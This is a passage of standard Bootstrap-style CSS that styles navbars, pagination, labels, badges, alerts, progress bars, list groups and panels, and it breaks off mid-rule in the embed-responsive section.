.icon-bar { background-color: #888; } .navbar-default .navbar-collapse, .navbar-default .navbar-form { border-color: #e7e7e7; } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .open > a:hover, .navbar-default .navbar-nav > .open > a:focus { color: #555; background-color: #e7e7e7; } @media (max-width: 767px) { .navbar-default .navbar-nav .open .dropdown-menu > li > a { color: #777; } .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav .open .dropdown-menu > .active > a, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #ccc; background-color: transparent; } } .navbar-default .navbar-link { color: #777; } .navbar-default .navbar-link:hover { color: #333; } .navbar-default .btn-link { color: #777; } .navbar-default .btn-link:hover, .navbar-default .btn-link:focus { color: #333; } .navbar-default .btn-link[disabled]:hover, fieldset[disabled] .navbar-default .btn-link:hover, .navbar-default .btn-link[disabled]:focus, fieldset[disabled] .navbar-default .btn-link:focus { color: #ccc; } .navbar-inverse { background-color: #222; border-color: #080808; } .navbar-inverse .navbar-brand { color: #9d9d9d; } .navbar-inverse .navbar-brand:hover, .navbar-inverse .navbar-brand:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-text { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a:hover, .navbar-inverse .navbar-nav > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav > .active > a, .navbar-inverse .navbar-nav > .active > a:hover, .navbar-inverse .navbar-nav > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav > .disabled > a, .navbar-inverse .navbar-nav > .disabled > a:hover, .navbar-inverse .navbar-nav > .disabled > a:focus { color: #444; background-color: transparent; } .navbar-inverse .navbar-toggle { border-color: #333; } .navbar-inverse .navbar-toggle:hover, .navbar-inverse .navbar-toggle:focus { background-color: #333; } .navbar-inverse .navbar-toggle .icon-bar { background-color: #fff; } .navbar-inverse .navbar-collapse, .navbar-inverse .navbar-form { border-color: #101010; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .open > a:hover, .navbar-inverse .navbar-nav > .open > a:focus { color: #fff; background-color: #080808; } @media (max-width: 767px) { .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { border-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu .divider { background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #444; background-color: transparent; } } .navbar-inverse .navbar-link { color: #9d9d9d; } .navbar-inverse .navbar-link:hover { color: #fff; } .navbar-inverse .btn-link { color: #9d9d9d; } .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link:focus { color: #fff; } .navbar-inverse .btn-link[disabled]:hover, fieldset[disabled] .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link[disabled]:focus, fieldset[disabled] .navbar-inverse .btn-link:focus { color: #444; } .breadcrumb { padding: 8px 15px; margin-bottom: 20px; list-style: none; background-color: #f5f5f5; border-radius: 4px; } .breadcrumb > li { display: inline-block; } .breadcrumb > li + li:before { padding: 0 5px; color: #ccc; content: "/\00a0"; } .breadcrumb > .active { color: #777; } .pagination { display: inline-block; padding-left: 0; margin: 20px 0; border-radius: 4px; } .pagination > li { display: inline; } .pagination > li > a, .pagination > li > span { position: relative; float: left; padding: 6px 12px; margin-left: -1px; line-height: 1.42857143; color: #337ab7; text-decoration: none; background-color: #fff; border: 1px solid #ddd; } .pagination > li:first-child > a, .pagination > li:first-child > span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .pagination > li:last-child > a, .pagination > li:last-child > span { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .pagination > li > a:hover, .pagination > li > span:hover, .pagination > li > a:focus, .pagination > li > span:focus { z-index: 3; color: #23527c; background-color: #eee; border-color: #ddd; } .pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus { z-index: 2; color: #fff; cursor: default; background-color: #337ab7; border-color: #337ab7; } .pagination > .disabled > span, .pagination > .disabled > span:hover, .pagination > .disabled > span:focus, .pagination > .disabled > a, .pagination > .disabled > a:hover, .pagination > .disabled > a:focus { color: #777; cursor: not-allowed; background-color: #fff; border-color: #ddd; } .pagination-lg > li > a, .pagination-lg > li > span { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; } .pagination-lg > li:first-child > a, .pagination-lg > li:first-child > span { border-top-left-radius: 6px; border-bottom-left-radius: 6px; } .pagination-lg > li:last-child > a, .pagination-lg > li:last-child > span { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } .pagination-sm > li > a, .pagination-sm > li > span { padding: 5px 10px; font-size: 12px; line-height: 1.5; } .pagination-sm > li:first-child > a, .pagination-sm > li:first-child > span { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .pagination-sm > li:last-child > a, .pagination-sm > li:last-child > span { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } .pager { padding-left: 0; margin: 20px 0; text-align: center; list-style: none; } .pager li { display: inline; } .pager li > a, .pager li > span { display: inline-block; padding: 5px 14px; background-color: #fff; border: 1px solid #ddd; border-radius: 15px; } .pager li > a:hover, .pager li > a:focus { text-decoration: none; background-color: #eee; } .pager .next > a, .pager .next > span { float: right; } .pager .previous > a, .pager .previous > span { float: left; } .pager .disabled > a, .pager .disabled > a:hover, .pager .disabled > a:focus, .pager .disabled > span { color: #777; cursor: not-allowed; background-color: #fff; } .label { display: inline; padding: .2em .6em .3em; font-size: 75%; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } a.label:hover, a.label:focus { color: #fff; text-decoration: none; cursor: pointer; } .label:empty { display: none; } .btn .label { position: relative; top: -1px; } .label-default { background-color: #777; } .label-default[href]:hover, .label-default[href]:focus { background-color: #5e5e5e; } .label-primary { background-color: #337ab7; } .label-primary[href]:hover, .label-primary[href]:focus { background-color: #286090; } .label-success { background-color: #5cb85c; } .label-success[href]:hover, .label-success[href]:focus { background-color: #449d44; } .label-info { background-color: #5bc0de; } .label-info[href]:hover, .label-info[href]:focus { background-color: #31b0d5; } .label-warning { background-color: #f0ad4e; } .label-warning[href]:hover, .label-warning[href]:focus { background-color: #ec971f; } .label-danger { background-color: #d9534f; } .label-danger[href]:hover, .label-danger[href]:focus { background-color: #c9302c; } .badge { display: inline-block; min-width: 10px; padding: 3px 7px; font-size: 12px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: middle; background-color: #777; border-radius: 10px; } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .btn-xs .badge, .btn-group-xs > .btn .badge { top: 0; padding: 1px 5px; } a.badge:hover, a.badge:focus { color: #fff; text-decoration: none; cursor: pointer; } .list-group-item.active > .badge, .nav-pills > .active > a > .badge { color: #337ab7; background-color: #fff; } .list-group-item > .badge { float: right; } .list-group-item > .badge + .badge { margin-right: 5px; } .nav-pills > li > a > .badge { margin-left: 3px; } .jumbotron { padding-top: 30px; padding-bottom: 30px; margin-bottom: 30px; color: inherit; background-color: #eee; } .jumbotron h1, .jumbotron .h1 { color: inherit; } .jumbotron p { margin-bottom: 15px; font-size: 21px; font-weight: 200; } .jumbotron > hr { border-top-color: #d5d5d5; } .container .jumbotron, .container-fluid .jumbotron { border-radius: 6px; } .jumbotron .container { max-width: 100%; } @media screen and (min-width: 768px) { .jumbotron { padding-top: 48px; padding-bottom: 48px; } .container .jumbotron, .container-fluid .jumbotron { padding-right: 60px; padding-left: 60px; } .jumbotron h1, .jumbotron .h1 { font-size: 63px; } } .thumbnail { display: block; padding: 4px; margin-bottom: 20px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: border .2s ease-in-out; -o-transition: border .2s ease-in-out; transition: border .2s ease-in-out; } .thumbnail > img, .thumbnail a > img { margin-right: auto; margin-left: auto; } a.thumbnail:hover, a.thumbnail:focus, a.thumbnail.active { border-color: #337ab7; } .thumbnail .caption { padding: 9px; color: #333; } .alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; } .alert h4 { margin-top: 0; color: inherit; } .alert .alert-link { font-weight: bold; } .alert > p, .alert > ul { margin-bottom: 0; } .alert > p + p { margin-top: 5px; } .alert-dismissable, .alert-dismissible { padding-right: 35px; } .alert-dismissable .close, .alert-dismissible .close { position: relative; top: -2px; right: -21px; color: inherit; } .alert-success { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .alert-success hr { border-top-color: #c9e2b3; } .alert-success .alert-link { color: #2b542c; } .alert-info { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .alert-info hr { border-top-color: #a6e1ec; } .alert-info .alert-link { color: #245269; } .alert-warning { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .alert-warning hr { border-top-color: #f7e1b5; } .alert-warning .alert-link { color: #66512c; } .alert-danger { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .alert-danger hr { border-top-color: #e4b9c0; } .alert-danger .alert-link { color: #843534; } @-webkit-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @-o-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .progress { height: 20px; margin-bottom: 20px; overflow: hidden; background-color: #f5f5f5; border-radius: 4px; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); } .progress-bar { float: left; width: 0; height: 100%; font-size: 12px; line-height: 20px; color: #fff; text-align: center; background-color: #337ab7; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); -webkit-transition: width .6s ease; -o-transition: width .6s ease; transition: width .6s ease; } .progress-striped .progress-bar, .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); -webkit-background-size: 40px 40px; background-size: 40px 40px; } .progress.active .progress-bar, .progress-bar.active { -webkit-animation: progress-bar-stripes 2s linear infinite; -o-animation: progress-bar-stripes 2s linear infinite; animation: progress-bar-stripes 2s linear infinite; } .progress-bar-success { background-color: #5cb85c; } .progress-striped .progress-bar-success { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-info { background-color: #5bc0de; } .progress-striped .progress-bar-info { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-warning { background-color: #f0ad4e; } .progress-striped .progress-bar-warning { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-danger { background-color: #d9534f; } .progress-striped .progress-bar-danger { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .media { margin-top: 15px; } .media:first-child { margin-top: 0; } .media, .media-body { overflow: hidden; zoom: 1; } .media-body { width: 10000px; } .media-object { display: block; } .media-object.img-thumbnail { max-width: none; } .media-right, .media > .pull-right { padding-left: 10px; } .media-left, .media > .pull-left { padding-right: 10px; } .media-left, .media-right, .media-body { display: table-cell; vertical-align: top; } .media-middle { vertical-align: middle; } .media-bottom { vertical-align: bottom; } .media-heading { margin-top: 0; margin-bottom: 5px; } .media-list { padding-left: 0; list-style: none; } .list-group { padding-left: 0; margin-bottom: 20px; } .list-group-item { position: relative; display: block; padding: 10px 15px; margin-bottom: -1px; background-color: #fff; border: 1px solid #ddd; } .list-group-item:first-child { border-top-left-radius: 4px; border-top-right-radius: 4px; } .list-group-item:last-child { margin-bottom: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } a.list-group-item, button.list-group-item { color: #555; } a.list-group-item .list-group-item-heading, button.list-group-item .list-group-item-heading { color: #333; } a.list-group-item:hover, button.list-group-item:hover, a.list-group-item:focus, button.list-group-item:focus { color: #555; text-decoration: none; background-color: #f5f5f5; } button.list-group-item { width: 100%; text-align: left; } .list-group-item.disabled, .list-group-item.disabled:hover, .list-group-item.disabled:focus { color: #777; cursor: not-allowed; background-color: #eee; } .list-group-item.disabled .list-group-item-heading, .list-group-item.disabled:hover .list-group-item-heading, .list-group-item.disabled:focus .list-group-item-heading { color: inherit; } .list-group-item.disabled .list-group-item-text, .list-group-item.disabled:hover .list-group-item-text, .list-group-item.disabled:focus .list-group-item-text { color: #777; } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { z-index: 2; color: #fff; background-color: #337ab7; border-color: #337ab7; } .list-group-item.active .list-group-item-heading, .list-group-item.active:hover .list-group-item-heading, .list-group-item.active:focus .list-group-item-heading, .list-group-item.active .list-group-item-heading > small, .list-group-item.active:hover .list-group-item-heading > small, .list-group-item.active:focus .list-group-item-heading > small, .list-group-item.active .list-group-item-heading > .small, .list-group-item.active:hover .list-group-item-heading > .small, .list-group-item.active:focus .list-group-item-heading > .small { color: inherit; } .list-group-item.active .list-group-item-text, .list-group-item.active:hover .list-group-item-text, .list-group-item.active:focus .list-group-item-text { color: #c7ddef; } .list-group-item-success { color: #3c763d; background-color: #dff0d8; } a.list-group-item-success, button.list-group-item-success { color: #3c763d; } a.list-group-item-success .list-group-item-heading, button.list-group-item-success .list-group-item-heading { color: inherit; } a.list-group-item-success:hover, button.list-group-item-success:hover, a.list-group-item-success:focus, button.list-group-item-success:focus { color: #3c763d; background-color: #d0e9c6; } a.list-group-item-success.active, button.list-group-item-success.active, a.list-group-item-success.active:hover, button.list-group-item-success.active:hover, a.list-group-item-success.active:focus, button.list-group-item-success.active:focus { color: #fff; background-color: #3c763d; border-color: #3c763d; } .list-group-item-info { color: #31708f; background-color: #d9edf7; } a.list-group-item-info, button.list-group-item-info { color: #31708f; } a.list-group-item-info .list-group-item-heading, button.list-group-item-info .list-group-item-heading { color: inherit; } a.list-group-item-info:hover, button.list-group-item-info:hover, a.list-group-item-info:focus, button.list-group-item-info:focus { color: #31708f; background-color: #c4e3f3; } a.list-group-item-info.active, button.list-group-item-info.active, a.list-group-item-info.active:hover, button.list-group-item-info.active:hover, a.list-group-item-info.active:focus, button.list-group-item-info.active:focus { color: #fff; background-color: #31708f; border-color: #31708f; } .list-group-item-warning { color: #8a6d3b; background-color: #fcf8e3; } a.list-group-item-warning, button.list-group-item-warning { color: #8a6d3b; } a.list-group-item-warning .list-group-item-heading, button.list-group-item-warning .list-group-item-heading { color: inherit; } a.list-group-item-warning:hover, button.list-group-item-warning:hover, a.list-group-item-warning:focus, button.list-group-item-warning:focus { color: #8a6d3b; background-color: #faf2cc; } a.list-group-item-warning.active, button.list-group-item-warning.active, a.list-group-item-warning.active:hover, button.list-group-item-warning.active:hover, a.list-group-item-warning.active:focus, button.list-group-item-warning.active:focus { color: #fff; background-color: #8a6d3b; border-color: #8a6d3b; } .list-group-item-danger { color: #a94442; background-color: #f2dede; } a.list-group-item-danger, button.list-group-item-danger { color: #a94442; } a.list-group-item-danger .list-group-item-heading, button.list-group-item-danger .list-group-item-heading { color: inherit; } a.list-group-item-danger:hover, button.list-group-item-danger:hover, a.list-group-item-danger:focus, button.list-group-item-danger:focus { color: #a94442; background-color: #ebcccc; } a.list-group-item-danger.active, button.list-group-item-danger.active, a.list-group-item-danger.active:hover, button.list-group-item-danger.active:hover, a.list-group-item-danger.active:focus, button.list-group-item-danger.active:focus { color: #fff; background-color: #a94442; border-color: #a94442; } .list-group-item-heading { margin-top: 0; margin-bottom: 5px; } .list-group-item-text { margin-bottom: 0; line-height: 1.3; } .panel { margin-bottom: 20px; background-color: #fff; border: 1px solid transparent; border-radius: 4px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); box-shadow: 0 1px 1px rgba(0, 0, 0, .05); } .panel-body { padding: 15px; } .panel-heading { padding: 10px 15px; border-bottom: 1px solid transparent; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel-heading > .dropdown .dropdown-toggle { color: inherit; } .panel-title { margin-top: 0; margin-bottom: 0; font-size: 16px; color: inherit; } .panel-title > a, .panel-title > small, .panel-title > .small, .panel-title > small > a, .panel-title > .small > a { color: inherit; } .panel-footer { padding: 10px 15px; background-color: #f5f5f5; border-top: 1px solid #ddd; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .list-group, .panel > .panel-collapse > .list-group { margin-bottom: 0; } .panel > .list-group .list-group-item, .panel > .panel-collapse > .list-group .list-group-item { border-width: 1px 0; border-radius: 0; } .panel > .list-group:first-child .list-group-item:first-child, .panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { border-top: 0; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .list-group:last-child .list-group-item:last-child, .panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { border-bottom: 0; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .panel-heading + .list-group .list-group-item:first-child { border-top-width: 0; } .list-group + .panel-footer { border-top-width: 0; } .panel > .table, .panel > .table-responsive > .table, .panel > .panel-collapse > .table { margin-bottom: 0; } .panel > .table caption, .panel > .table-responsive > .table caption, .panel > .panel-collapse > .table caption { padding-right: 15px; padding-left: 15px; } .panel > .table:first-child, .panel > .table-responsive:first-child > .table:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { border-top-left-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { border-top-right-radius: 3px; } .panel > .table:last-child, .panel > .table-responsive:last-child > .table:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { border-bottom-right-radius: 3px; } .panel > .panel-body + .table, .panel > .panel-body + .table-responsive, .panel > .table + .panel-body, .panel > .table-responsive + .panel-body { border-top: 1px solid #ddd; } .panel > .table > tbody:first-child > tr:first-child th, .panel > .table > tbody:first-child > tr:first-child td { border-top: 0; } .panel > .table-bordered, .panel > .table-responsive > .table-bordered { border: 0; } .panel > .table-bordered > thead > tr > th:first-child, .panel > .table-responsive > .table-bordered > thead > tr > th:first-child, .panel > .table-bordered > tbody > tr > th:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, .panel > .table-bordered > tfoot > tr > th:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, .panel > .table-bordered > thead > tr > td:first-child, .panel > .table-responsive > .table-bordered > thead > tr > td:first-child, .panel > .table-bordered > tbody > tr > td:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, .panel > .table-bordered > tfoot > tr > td:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .panel > .table-bordered > thead > tr > th:last-child, .panel > .table-responsive > .table-bordered > thead > tr > th:last-child, .panel > .table-bordered > tbody > tr > th:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, .panel > .table-bordered > tfoot > tr > th:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, .panel > .table-bordered > thead > tr > td:last-child, .panel > .table-responsive > .table-bordered > thead > tr > td:last-child, .panel > .table-bordered > tbody > tr > td:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, .panel > .table-bordered > tfoot > tr > td:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .panel > .table-bordered > thead > tr:first-child > td, .panel > .table-responsive > .table-bordered > thead > tr:first-child > td, .panel > .table-bordered > tbody > tr:first-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, .panel > .table-bordered > thead > tr:first-child > th, .panel > .table-responsive > .table-bordered > thead > tr:first-child > th, .panel > .table-bordered > tbody > tr:first-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { border-bottom: 0; } .panel > .table-bordered > tbody > tr:last-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, .panel > .table-bordered > tfoot > tr:last-child > td, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, .panel > .table-bordered > tbody > tr:last-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, .panel > .table-bordered > tfoot > tr:last-child > th, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { border-bottom: 0; } .panel > .table-responsive { margin-bottom: 0; border: 0; } .panel-group { margin-bottom: 20px; } .panel-group .panel { margin-bottom: 0; border-radius: 4px; } .panel-group .panel + .panel { margin-top: 5px; } .panel-group .panel-heading { border-bottom: 0; } .panel-group .panel-heading + .panel-collapse > .panel-body, .panel-group .panel-heading + .panel-collapse > .list-group { border-top: 1px solid #ddd; } .panel-group .panel-footer { border-top: 0; } .panel-group .panel-footer + .panel-collapse .panel-body { border-bottom: 1px solid #ddd; } .panel-default { border-color: #ddd; } .panel-default > .panel-heading { color: #333; background-color: #f5f5f5; border-color: #ddd; } .panel-default > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ddd; } .panel-default > .panel-heading .badge { color: #f5f5f5; background-color: #333; } .panel-default > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ddd; } .panel-primary { border-color: #337ab7; } .panel-primary > .panel-heading { color: #fff; background-color: #337ab7; border-color: #337ab7; } .panel-primary > .panel-heading + .panel-collapse > .panel-body { border-top-color: #337ab7; } .panel-primary > .panel-heading .badge { color: #337ab7; background-color: #fff; } .panel-primary > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #337ab7; } .panel-success { border-color: #d6e9c6; } .panel-success > .panel-heading { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .panel-success > .panel-heading + .panel-collapse > .panel-body { border-top-color: #d6e9c6; } .panel-success > .panel-heading .badge { color: #dff0d8; background-color: #3c763d; } .panel-success > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #d6e9c6; } .panel-info { border-color: #bce8f1; } .panel-info > .panel-heading { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .panel-info > .panel-heading + .panel-collapse > .panel-body { border-top-color: #bce8f1; } .panel-info > .panel-heading .badge { color: #d9edf7; background-color: #31708f; } .panel-info > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #bce8f1; } .panel-warning { border-color: #faebcc; } .panel-warning > .panel-heading { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .panel-warning > .panel-heading + .panel-collapse > .panel-body { border-top-color: #faebcc; } .panel-warning > .panel-heading .badge { color: #fcf8e3; background-color: #8a6d3b; } .panel-warning > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #faebcc; } .panel-danger { border-color: #ebccd1; } .panel-danger > .panel-heading { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .panel-danger > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ebccd1; } .panel-danger > .panel-heading .badge { color: #f2dede; background-color: #a94442; } .panel-danger > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ebccd1; } .embed-responsive { position: relative; display: block; height: 0; padding: 0; overflow: hidden; } .embed-responsive .embed-responsive-item, .embed-responsive iframe, .embed-responsive embed, .embed-responsive object, .embed-responsive video { position: absolute; top: 0; bottom: 0; left: 0; width: 100%; height: 100%; border: 0; } .embed-responsive-16by9 { padding-bottom: 